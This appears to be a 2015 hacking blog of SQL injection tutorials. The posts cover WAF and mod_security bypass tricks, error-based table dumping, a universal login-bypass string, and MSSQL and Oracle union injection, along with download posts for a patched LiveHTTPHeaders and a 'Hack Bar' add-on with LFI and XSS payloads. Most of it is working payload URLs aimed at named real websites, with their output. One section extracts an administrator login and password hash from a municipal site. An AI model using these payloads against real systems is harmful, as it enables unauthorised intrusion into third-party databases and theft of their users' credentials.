Wednesday, April 22, 2015

NEW Tips and Tricks OF WAF bypass


WAF by Pass tricks



 New WAF Bypass Method


=======================================================================
                                                      WAF Bypass By Benzi
=======================================================================
Sup.

In the recent days, i get a lot of waf bypass requests, which the regular methods (/* , #\n , URL encoding etc) don't work on them.
so today i will write about some new methods to handle these kinda sites, and some other new stuff.
this time there will be no pics in this paper, only text.

TOC:

  • WAF bypass (\N , e , {})
  • DIOS in non-geometric error based
  • ABIOS 

WAF BYPASS: 

up to now, if we saw error like "403 forbidden", we didn't take it much seriously.
we just used one of the known bypass methods, and owned the website.
but recently, the WAFs are getting smarter and harder. but so do i

we will use this site for demonstrate.


Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78
=======================================================================
I counted the columns using group by, and there are 16. So our query looks like that.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
=======================================================================
" Not Acceptable! This error was generated by Mod_Security "
Seems like mod_security is on. How can we bypass Mod_Security?usually /*!50000union*/ and distinct are doing the trick.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -
=======================================================================
No more Mod_Security, but now we got another WAF. That's the first trick i wanna show you today. As we can see, 'union' is being blocked. but how strongly? lets do some tests.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union
=======================================================================
403, union gets block. so maybe the 'e' trick will do?

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union
=======================================================================
403, still blocked.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16aunion
=======================================================================
No 403, union not blocked. But how can we stick a letter to union, and not get 1064?
we can so that by use \N. It is case sensitive for NULL.lets try

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
=======================================================================
bypassed, column #10 on the screen. lets try to get the version.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--
=======================================================================
403 again. seems like we cant directly put version() in the column. thats the second trick i wanna show you. usually, we would do something like (version()), but seems its also covered here. in mysql, theres something called "timestamp". basically, its defines the type of the string, like-
Code:
SELECT TIMESTAMP 'str';
the cool thing about it, its we can write it like that-
Code:
SELECT { ts column};
so we can use that to bypass WAFs, like that-

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--
=======================================================================
boom, 5.5.40-36.1 .another thing i want to talk about today, is getting tables.so lets try to get tables.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from--
=======================================================================
403, WAF blocks from. lets try to stick a number to it.

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16from--
=======================================================================
no waf.usually to stick a number to "from", we use 'e'. its forbbiden here, but theres another method.we can simply put dot before the number, and write anything after without space. its like 0.16 . so in our injection-

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from sometable--
=======================================================================
no waf. now when we srite "from information_schema.tables", we get modsecurity error. remember the timestamp thing? we can also do that with tables, so

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--
=======================================================================
modsecurity - bypassed. 403 - not yet. as we can see, the combination of "schema.tables" is blocked. the usual ``,+,() not working, so we gotta think outside the box.we can mess with the query parser using 'e' again.when the webserver parsing the query, it use db.table.column format. in sql, information_schema 9.e.tables = information_schema.tables. so

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema 0.e.tables}--
=======================================================================
now for the table_name part.as before, we cant just write the column instead of column #10, so we gotta be creative. just like information_schema bypass, we can also use 'e' to mess with the parser with the columns. in columns, it goes like that  ``0.e.table_name = table_name, so

Code:
=======================================================================
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,``0.e.table_name,11,12,13,14,15,.16from {f information_schema 0.e.tables}--
=======================================================================
bypassed DIOS in non-geometric error based
something i also saw recently, is people trying to make dios in polygon. the problem of doing that, is unlike union, polygon is limited by the result , so we gotta "be cheap" to save space. even though the result is limited, its still larger than other error based outputs. the original DIOS query is this.

Code:

(select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x)

p.s i remember when denjacker showed me that 3 years ago, i was absolutely amazed to see how far people can get, only by use a simple variable.lets go back to the tut. we will use this site to demonstrate.

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=1
=======================================================================
lets check if we can use polygon.

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version)k)p))
=======================================================================
{ Qusers -  Error #1367: Illegal non geometric '(select `p`.`@@version` from (select '5.1.73-log' AS `@@version` from (select @@version AS `@@version`) `k`) `p`)' value found during parsing }

yes, we can. but as we can see, the output is very large, our dios will never fit in. the red part is the alias, which take a lot of space. lets try to save space, by give @@version a shorter alias, like 'a'.


Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version a)k)p))
=======================================================================
{ Qusers - Error #1367: Illegal non geometric '(select `p`.`a` from (select '5.1.73-log' AS `a` from (select a AS `a`) `k`) `p`)' value found during parsing }
shorter indeed. but can we reduce more? lets try give @@version an empty alias.

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version``)k)p))
=======================================================================
{ Qusers - Error #1367: Illegal non geometric '(select `` from (select '5.1.73-log' AS `` from (select AS ``) `k`) `p`)' value found during parsing }

thats more like it. now lets try to put the dios syntax in our query.

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x))k)p))
=======================================================================
{ Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select '' value found during parsing }

blank output. the 0x00 gets convert to real null byte, which "delete" our output. lets replace it by 0x01.

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x203a20,table_name))))x))k)p))
=======================================================================
{ Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select ' : blocklist : log_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `(' value found during parsing }

lets get rid off the unnecessary things, and as before, give our output an empty alias

Code:
=======================================================================
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select((select@''from(select@:=0x01 ​,(select@ from information_schema.tables where table_schema!='information_schema'and@:=concat(@,0x203a20,table_name)))p))'')f)x ​))
=======================================================================
{ Qusers - Error #1367: Illegal non geometric '(select `` from (select ' : blocklist : log_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `` from (' value found during parsing }

and we got DIOS for non-geometric error based. Auth Bypass In One Shot sometimes we need to bypass some admin panels, and we do that using or 1=1. the problem is we dont know if we gotta use integer, one-quote string or double-quote string. but is it really matter?
lets check this query-

Code:
=======================================================================
or 1-- -' or 1 or '1"or 1 or"
=======================================================================
lets check any term of the above. if its integer, the url behind the query + our injection is like that.

SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username='' AND password=''the "or 1-- -" 

gets active, make the condition true and ignores the rest of the query. now lets check regular string-

SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' .....

the "or 1" part make the query true, and the other parts are considered as the comparison strings. same with the double quotes.

SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" " .....

wafs will always get tricky, the sqli section will continue to grow, and the human brain will provid more and more with less and less. thats my conclusion.
hope you learned something.
========================================================================

How To fix Live Http Header Reply button

 Live HTTP Header Fixed


===================================================================================
                                                                Reply Button Fixed
===================================================================================
                                 In the Name of ALLAH the Most Beneficent and the Merciful.
                                                               Assalam-o-Alaikom.

LiveHTTPHeader "Reply" Button Fixed.
By r0ot h3x49.

=========================================================================    How To Install?
=========================================================================1: 1st install add-on "live http headers" from Firefox
Here is Link :- Go Now



Click on  "Help" menu in browser





Click on "Troublshooting information"



















Click on "Show Folder" button













Open " Extensions" Folder






Open Folder  "{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}"

Livehttp header






Open Folder  "Chrome"







Replace "livehttpheaders"  by the given patch and enjoy ...






Click Here To Download :- Download Now

Note:-

           "While You are replacing "livehttphears.rar" with this one close your Firefox Browser then replace it and then start and check"

Special Thnx to :---
                  Kazam Veeru <3 & Yogesh Bhagat <3

Gretz to :---
(Ashx khan , Rehan Manzoor , Mak Man , Janus Sloven , Anas Ali , Base64 , Behroz , Amir Dz , Zen bro , Dante bro and all my hacker Frnds... )

New Hack Bar Version (updated)

                                       Hack Bar New Version


===================================================================================
                                                                r0ot-k4jj1-v1.6.5
===================================================================================
                                 In the Name of ALLAH the Most Beneficent and the Merciful.
                                                               Assalam-o-Alaikom.

Hack Bar Version 1.6.5.
By r0oth3x49 & K44ji gujj4r.

=========================================================================     What's New?
=========================================================================1: Added Some Variable Method Queries.
2:- Added Some great looks and design to this Version.
3:- Added Payloads for LFI.
4:- Added payloads for XSS.
5:- Added Source Code Viewer Add-on (Shortcut Button).

=========================================================================
6:- Added Links to:-
=========================================================================
a: Official Blog
b: Security Idiots
c: Add-on link for Source code viewer etc.


=========================================================================       Bug Fixations
=========================================================================1:- Bug Fixed of Replace Button.
2:- Bug fixed of base64spacer
3:- Bug Fixed for LiveHTTPHeader "Reply" Button.

Special Thanks to.
    Yogesh Bhagat (Sweetyow) & 
Janus Slovan For testing. 
Greetz To:-
            Ashx khan , MakMan , Zen , Rummy Khan , AnAs Ali , Amir_Dz , 

           Base64 , Ur0xm , Sn00.py , Shahmeer Amir , Danish Iqbal.
=========================================================================    ./r0ot@H3X49

Click Here to Download :- Download Now
 ========================================================================      Some Pics
=========================================================================
 To Make Look Like this Just Change your default FireFox theme to any them having black background.
  One link of Theme is also given in this hackbar.
 Go to "UNION BASED" Menu and the Label named "LINKS" have the Link of  "Theme" ..

New Hack bar



New Hack bar


New Hack bar






Saturday, April 4, 2015

MSSQL [asp] Sql injection

The sql injection on asp is same as on php...but a little bit of changes are made...

So first of all we will find some site that is Vulnerable and is on .asp

So assume that u got a site with the name of


Code:
http://www.target.com/


now find page where the site is vul to sql injection...

You can check the Vulnerability by adding single quotation '
at the end of URL like

Code:
http://www.target.com/product.asp?id=13'


If u get this error...

Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'department_id=1024''.
/deptdet.asp, line 122
Then this means the site is vul to sql injections...Now we are going to find the columns in it...Normally we use -- at the end of string but in this case we will be using #

Code:
http://www.target.com/product.asp?id=13 order by 1#

Suppose that the site has 10 columns...when you will use the query "order by 1#" (without double quotations)
You will not get any error...the page will load normally...but when you will use the query "order by 11#" (without double quotations) you will get an error this means that the site has 10 columns...

So we will have an error on this query

Code:
http://www.target.com/product.asp?id=13 order by 11#

But when we will use this query, we will not get any error.

Code:
http://www.target.com/product.asp?id=13 order by 10#

This tells us that the table has 10 columns.

Now we will write the query as...

Code:
http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10#


So now in next step we need name of a table to get number of largets visible column from all .. let me explain bit , like in simple sql injection we use union select 1,2,3,4,5,6 -- and we get a number to get information from site , in this we need a table name to get that number of visible column ,

so to get that number we are going to add name of table after union select 1,2,3,4,5,6,7, ..,10

in this scripts of getting table names dont work most times i tried some of them so we will add name of tables manually normally name of tables are " admin,tbladmin,tbl_admin,user,users,login,info,email" etc . Suppose in the site we got admin table that is visible. Now our url will look like

Code:
http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10 from admin#


After this we will get number of largest visible column which we can use to get data from site. Suppose we got 3,7and 6 columns that are visible...

So now we are going to use 3 to get information now all we have to do is just put the name of column instead of 3 in string and we will get username and password ,

Now our URL will look like

Code:
http://www.target.com/product.asp?id=13 union select 1,2,name,4,5,6,7,8,9,10 from admin#
Suppose we got a username instead of the number 3.

and then change column name with passwords column name
you will get the password ;)
URL will be like

Code:
http://www.target.com/product.asp?id=13 union select 1,2,passwords,4,5,6,7,8,9,10 from admin#

Author : LAFANGA

Friday, April 3, 2015

Oracle SQL Injection Tutorial

oracle sql injection

Hello and welcome to a Oracle SQL injection tutorial. First you need to know that injecting into to Oracle databases is not much different then injecting into others. The only differences are the syntax and different filenames etc... Ok, if you know a site the is vulnerable to some sort of SQLi but, you don't know what database it is, try the following code to check for a Oracle DB.


Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL%
20from%20dual--

If it is a Oracle DB you should get a error like:

Code:

[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result
columns

Now to find the amount of columns in the DB you will keep adding NULL data until you no longer receive and error.

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,NULL,NULL,NULL%
20from%20dual--

Now that you have the number of columns you can proceed to extract data from the DB. In this guide I will only show how to extract the account info but, other info can be extracted as well.

Now we try to find which column uses "string" data type. To do this we replace the first "NULL" with 'a'. If you receive an error replace the 'a' with Null and try the next "NULL". An example of this is:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,'a','a',NULL%
20from%20dual--

Once you find the columns that use string data types you can start to search for the names of the tables containing useful info. To do this we use the "user_objects" table.We also use the "object_name" and "object_type" table names to show what the names and types of tables are that are specified as user data (Credentials). A example of the following would be like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
object_name,object_type,NULL%20from%20user_objects--

As you can see, we use the columns that use string data to show object_name and object_type.


Tip: You can also use the all_user_objects table instead of user_objects. This will show all info seen by the user even if the user does not owned it.

We should now see many different table names and types. If you don't, and you get and error, try removing NULL values and finding the columns that use string data type.

In my example lets just say we found a table called USERS. We will attempt to find the names of the column inside this table by using the user_tab_columns table like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%
3d%20Â’USERSÂ’--

Note: %3d is a URL encoded = and %20 is a URL encode whitespace (spacebar).

Now lets say we get login, password, and priviledge columns. We can query these by using the following code:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
login,password,priviledge%20from%20users--

You should get the login username, password, and priviledge level!

Tip: If there is only one column that uses string data type then you can concatenate multiple columns like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
login||Â’:Â’||password||Â’:Â’||priviledge,NULL,NULL%20from%20user_objects--

This is just like the concat command in MySQL.

Tip: If you want to perfect your oracle injection knowledge I recommend getting some e-books on oracle and installing oracle on your localhost. This way you can practice on your DB.
                                                     
                                                          Live Example

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 

Let's try order by 

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 order by 1 

look under the picture shit stays like this
Sei in : Home -> Citta' -> Congressi

At order by 7 boom changes


PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122%20order%20by%207 

Sei in : Home -> Citta' ->
Then no. of columns=6

Time to use union select

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select null,null,null,null,null,null 

LOLS...Vulnerable column isn't shown..
Let's try all columns


PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select banner,null,null,null,null,null from v$version 

nothing shown wrong column

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select null,banner,null,null,null,null from v$version 

word congress shown again..This is the right column

VERSION


Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,banner,NULL,NULL,NULL,NULL from v$version--


CORE 9.2.0.6.0 Production

CURRENT USER

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,user,NULL,NULL,NULL,NULL from dual--

WWWTARANTO

CURRENT DATABASE


Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,SYS.DATABASE_NAME,NULL,NULL,NULL,NULL from DUAL--

CSTTA

Retrieving user created tables and columns from user_tab_columns. concat() works but takes only 2 parameters.


Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS--


54425F414C424F3A444154415F45534543555A494F4E45
convert this hex value to string.
TB_ALBO:DATA_ESECUZIONE
N.B:you can also use the following command

http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS--

To find the next column of table TB_ALBO

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where column_name> CHR(68) || CHR(65) || CHR(84) || CHR(65) || CHR(95) || CHR(69) || CHR(83) || CHR(69) || CHR(67) || CHR(85) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69)--


Code:CHR(68) || CHR(65) || CHR(84) || CHR(65) || CHR(95) || CHR(69) || CHR(83) || CHR(69) || CHR(67) || CHR(85) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69) = DATA_ESECUZIONE

54425F414C424F3A444154415F505542424C4943415A494F4E45TB_ALBO:DATA_PUBBLICAZIONE

using > all columns can be retrieved. If any error is generated or query jumps to some other table, then move on to the next table.
MOVING TO NEXT TABLE

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where table_name> CHR(84) || CHR(66) || CHR(95) || CHR(65) || CHR(76) || CHR(66) || CHR(79)--

54425F414C424F5F444F43554D454E544F3A4445534352495A494F4E45
TB_ALBO_DOCUMENTO:DESCRIZIONE

MOVING TO NEXT COLUMN OF TABLE TB_ALBO_DOCUMENTO


Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where table_name> CHR(84) || CHR(66) || CHR(95) || CHR(65) || CHR(76) || CHR(66) || CHR(79) and column_name> CHR(68) || CHR(69) || CHR(83) || CHR(67) || CHR(82) || CHR(73) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69)--


54425F414C424F5F444F43554D454E544F3A4944
TB_ALBO_DOCUMENTO:ID

EXTRACTING DATA

Code:
http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(LOGIN||chr(58)||PASSWORD),NULL,NULL,NULL,NULL from TB_UTENTE--

61646D696E6973747261746F723A3966323165646463363865663338373837666235656639313939​316265613264

administrator:9f21eddc68ef38787fb5ef91991bea2d

AUTHOR: Lafanga